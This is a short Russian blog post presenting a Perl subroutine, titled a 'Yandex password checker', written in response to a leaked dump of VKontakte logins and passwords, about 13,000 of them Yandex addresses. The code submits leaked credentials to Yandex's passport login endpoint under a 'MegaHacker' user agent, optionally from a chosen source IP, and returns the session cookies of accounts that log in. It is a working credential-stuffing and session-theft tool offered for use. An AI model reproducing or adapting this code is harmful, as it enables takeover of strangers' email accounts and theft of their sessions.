Проверялка паролей Яндекса

В свете последних событий насчёт Вконтакте — выложенный дамп 130 тысяч пользовательских логинов и паролей — получение кук с Яндекса — таких почт в этом дампе около 13 тысяч.

sub yandexLogin {
my ($login, $password, $ip) = @_;
croak('Login needed') if !$login;
croak('Login needed') if !$password;
$login =~ s/@.*//;
$password = uri_escape($password);
my $ag = q[MegaHacker];
@LWP::Protocol::http::EXTRA_SOCK_OPTS = (@LWP::Protocol::http::EXTRA_SOCK_OPTS, LocalAddr => $ip) if $ip;
my $href = q[https://passport.yandex.ru/passport?mode=auth];
my $ua = LWP::UserAgent->new(keep_alive => 1, cookie_jar => HTTP::Cookies->new, timeout => 60);
$ua->agent($ag);
$ua->default_header('Referer' => "https://passport.yandex.ru/");
$ua->default_header('Content-Type'=>q[application/x-www-form-urlencoded;]);
my $x = $ua->post($href, {
login => $login,
passwd => $password,
twoweeks => q[yes]
});
my @cookies;
push(@cookies,q[yandex_mail=].$ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{yandex_mail}->[1]) if $ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{yandex_mail}->[1];
push(@cookies,q[yandex_login=].$ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{yandex_login}->[1]) if $ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{yandex_mail}->[1];
push(@cookies,q[yandex_fio=].$ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{yandex_fio}->[1]) if $ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{yandex_mail}->[1];
push(@cookies,q[L=].$ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{L}->[1]) if $ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{yandex_mail}->[1];
push(@cookies,q[yandex_nickname=].$ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{yandex_nickname}->[1]) if $ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{yandex_mail}->[1];
push(@cookies,q[Session_id=].$ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{Session_id}->[1]) if $ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{yandex_mail}->[1];
return \@cookies;
}

Комментировать

Войдите чтобы оставить комментарий.